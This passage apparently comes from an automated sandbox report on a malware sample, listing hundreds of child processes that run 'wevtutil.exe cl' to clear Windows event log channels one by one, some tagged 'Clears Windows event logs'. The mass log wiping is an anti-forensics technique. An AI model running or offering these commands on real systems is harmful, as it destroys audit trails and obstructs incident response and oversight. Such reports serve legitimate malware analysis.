- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
    3⤵
    PID:620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-OneCore-Setup/Analytic"
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
    3⤵
    PID:1892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
    3⤵
    PID:6168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Admin/Debug"
    3⤵
    PID:4728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Debug"
    3⤵
    PID:3832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"
    3⤵
    - Clears Windows event logs
    PID:4132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Analytic"
    3⤵
    PID:5916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Debug"
    3⤵
    PID:1032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Operational"
    3⤵
    PID:5204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-IPC/Operational"
    3⤵
    PID:5632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Analytic"
    3⤵
    PID:3108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Debug"
    3⤵
    PID:624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"
    3⤵
    PID:6900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Analytic"
    3⤵
    PID:6992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Operational"
    3⤵
    PID:6464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
    3⤵
    PID:6960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ASN1/Operational"
    3⤵
    PID:6036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
    3⤵
    PID:6096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
    3⤵
    PID:2656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
    3⤵
    PID:3976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-All-User-Install-Agent/Admin"
    3⤵
    PID:6852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AllJoyn/Debug"
    3⤵
    PID:5804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AllJoyn/Operational"
    3⤵
    PID:1972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Admin"
    3⤵
    PID:3408
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/ApplicationTracing"
    3⤵
    PID:6564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Diagnostic"
    3⤵
    PID:4748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Internal"
    3⤵
    PID:6940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
    3⤵
    PID:3120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
    3⤵
    PID:4408
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
    3⤵
    PID:6756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"
    3⤵
    PID:6744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Execution"
    3⤵
    PID:6664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Admin"
    3⤵
    PID:6624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Analytic"
    3⤵
    PID:4944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Debug"
    3⤵
    PID:6808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Diagnostics"
    3⤵
    PID:6776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Debug"
    3⤵
    PID:1912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Diagnostic"
    3⤵
    PID:6452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Admin"
    3⤵
    PID:6484
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Debug"
    3⤵
    PID:7160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Operational"
    3⤵
    PID:6840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppSruProv"
    3⤵
    PID:6360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Diagnostic"
    3⤵
    PID:6352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Operational"
    3⤵
    PID:6324
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Debug"
    3⤵
    PID:6292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Diagnostic"
    3⤵
    PID:6272
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Operational"
    3⤵
    PID:6260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Restricted"
    3⤵
    PID:6232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Analytic"
    3⤵
    PID:6456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Operational"
    3⤵
    PID:6128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
    3⤵
    PID:432
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
    3⤵
    PID:6236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
    3⤵
    PID:1676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
    3⤵
    PID:5368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug"
    3⤵
    - Clears Windows event logs
    PID:6000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
    3⤵
    PID:6948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic"
    3⤵
    PID:1192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace"
    3⤵
    PID:7092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
    3⤵
    PID:6976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
    3⤵
    PID:6120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
    3⤵
    PID:1444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Steps-Recorder"
    3⤵
    PID:1608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Debug"
    3⤵
    PID:6228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Operational"
    3⤵
    PID:5132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Performance"
    3⤵
    PID:6648
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Admin"
    3⤵
    - Clears Windows event logs
    PID:1044
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Operational"
    3⤵
    PID:2232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Admin"
    3⤵
    PID:1712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Operational"
    3⤵
    PID:6088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AsynchronousCausality/Causality"
    3⤵
    PID:2796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
    3⤵
    PID:412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/GlitchDetection"
    3⤵
    PID:6472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Informational"
    3⤵
    PID:6060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
    3⤵
    PID:3816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
    3⤵
    PID:5784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/PlaybackManager"
    3⤵
    PID:6020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
    3⤵
    PID:7056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
    3⤵
    PID:6860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController"
    3⤵
    PID:5176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUser-Client"
    3⤵
    PID:972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController"
    3⤵
    PID:4904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController"
    3⤵
    PID:5672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
    3⤵
    PID:5640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/HCI"
    3⤵
    PID:5416
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/L2CAP"
    3⤵
    - Clears Windows event logs
    PID:4380
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Diagnostic"
    3⤵
    PID:736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Performance"
    3⤵
    PID:3984
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic"
    3⤵
    PID:4728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Operational"
    3⤵
    PID:5516
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational"
    3⤵
    PID:2280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Backup"
    3⤵
    PID:4132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Connections/Operational"
    3⤵
    PID:1000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational"
    3⤵
    PID:5704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Battery/Diagnostic"
    3⤵
    PID:6776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Analytic"
    3⤵
    PID:6092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
    3⤵
    PID:412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
    3⤵
    - Clears Windows event logs
    PID:5596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
    3⤵
    PID:3668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-Driver-Performance/Operational"
    3⤵
    PID:5572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Management"
    3⤵
    PID:6356
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Operational"
    3⤵
    PID:5136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/Tracing"
    3⤵
    PID:6840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
    3⤵
    PID:7108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational"
    3⤵
    PID:4436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Bthmini/Operational"
    3⤵
    PID:5960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
    3⤵
    PID:6064
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Policy/Operational"
    3⤵
    - Clears Windows event logs
    PID:5792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
    3⤵
    PID:4040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
    3⤵
    PID:448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
    3⤵
    PID:7332
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheMonitoring/Analytic"
    3⤵
    PID:2832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
    3⤵
    PID:3036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
    3⤵
    PID:5444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Catalog Database Debug"
    3⤵
    PID:5656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
    3⤵
    PID:6860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
    3⤵
    PID:6128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
    3⤵
    PID:4004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentInitialize"
    3⤵
    PID:4204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentUninitialize"
    3⤵
    PID:6196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Call"
    3⤵
    - Clears Windows event logs
    PID:5640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/CreateInstance"
    3⤵
    PID:4716
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ExtensionCatalog"
    3⤵
    PID:3852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/FreeUnusedLibrary"
    3⤵
    PID:4796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/RundownInstrumentation"
    3⤵
    PID:7696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Activations"
    3⤵
    PID:7740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/MessageProcessing"
    3⤵
    PID:4412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
    3⤵
    PID:6604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
    3⤵
    PID:1476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
    3⤵
    PID:4260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational"
    3⤵
    PID:7808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational"
    3⤵
    PID:5976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Cleanmgr/Diagnostic"
    3⤵
    PID:7680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
    3⤵
    PID:5764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Debug"
    3⤵
    PID:5260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Operational"
    3⤵
    PID:5672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
    3⤵
    PID:7264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
    3⤵
    PID:4716
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
    3⤵
    PID:7348
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
    3⤵
    PID:7272
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
    3⤵
    PID:628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Analytic"
    3⤵
    PID:7220
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Operational"
    3⤵
    PID:6780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Debug"
    3⤵
    PID:6148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Operational"
    3⤵
    PID:7804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Debug"
    3⤵
    PID:5720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Operational"
    3⤵
    PID:7676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcnfs/Debug"
    3⤵
    PID:7916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcnfs/Operational"
    3⤵
    - Clears Windows event logs
    PID:1560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Diagnostic"
    3⤵
    PID:8120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Operational"
    3⤵
    PID:2020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Tracing"
    3⤵
    PID:736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Debug"
    3⤵
    PID:448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational"
    3⤵
    PID:4944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Analytic"
    3⤵
    PID:3180
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Debug"
    3⤵
    PID:3744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
    3⤵
    PID:7424
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
    3⤵
    PID:3712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crashdump/Operational"
    3⤵
    PID:6808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
    3⤵
    PID:6280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-BCRYPT/Analytic"
    3⤵
    PID:6012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-CNG/Analytic"
    3⤵
    PID:6572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc"
    3⤵
    PID:4808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Debug"
    3⤵
    PID:4000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Operational"
    3⤵
    PID:7672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DSSEnh/Analytic"
    3⤵
    - Clears Windows event logs
    PID:4684
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/Operational"
    3⤵
    PID:1992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
    3⤵
    PID:1224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RSAEnh/Analytic"
    3⤵
    PID:6668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
    3⤵
    PID:4872
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
    3⤵
    PID:6964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Analytic"
    3⤵
    PID:1992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Operational"
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAMM/Diagnostic"
    3⤵
    PID:5836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
    3⤵
    PID:1804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Analytic"
    3⤵
    PID:5160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Logging"
    3⤵
    PID:7828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DLNA-Namespace/Analytic"
    3⤵
    PID:7152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
    3⤵
    PID:8136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Admin"
    3⤵
    - Clears Windows event logs
    PID:6980
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Analytic"
    3⤵
    PID:1368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Debug"
    3⤵
    PID:1844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Operational"
    3⤵
    PID:7768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
    3⤵
    PID:7604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
    3⤵
    PID:4900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
    3⤵
    PID:5436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
    3⤵
    PID:7224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
    3⤵
    - Clears Windows event logs
    PID:1076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Data-Pdf/Debug"
    3⤵
    PID:5692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/Admin"
    3⤵
    PID:2268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/CrashRecovery"
    3⤵
    PID:7244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
    3⤵
    PID:7532
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
    3⤵
    PID:6160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
    3⤵
    PID:7032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Diagnostic"
    3⤵
    PID:6992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Operational"
    3⤵
    PID:4168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Performance"
    3⤵
    PID:4204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Scrubbing"
    3⤵
    PID:3644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Defrag-Core/Debug"
    3⤵
    PID:3696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
    3⤵
    - Clears Windows event logs
    PID:5896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DesktopActivityModerator/Diagnostic"
    3⤵
    PID:4388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DesktopWindowManager-Diag/Diagnostic"
    3⤵
    PID:5948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceAssociationService/Performance"
    3⤵
    PID:1784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceConfidence/Analytic"
    3⤵
    PID:5244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Operational"
    3⤵
    PID:2752
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Verbose"
    3⤵
    PID:7912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin"
    3⤵
    PID:2376
- - C:\Windows\system32\wevtutil.exe
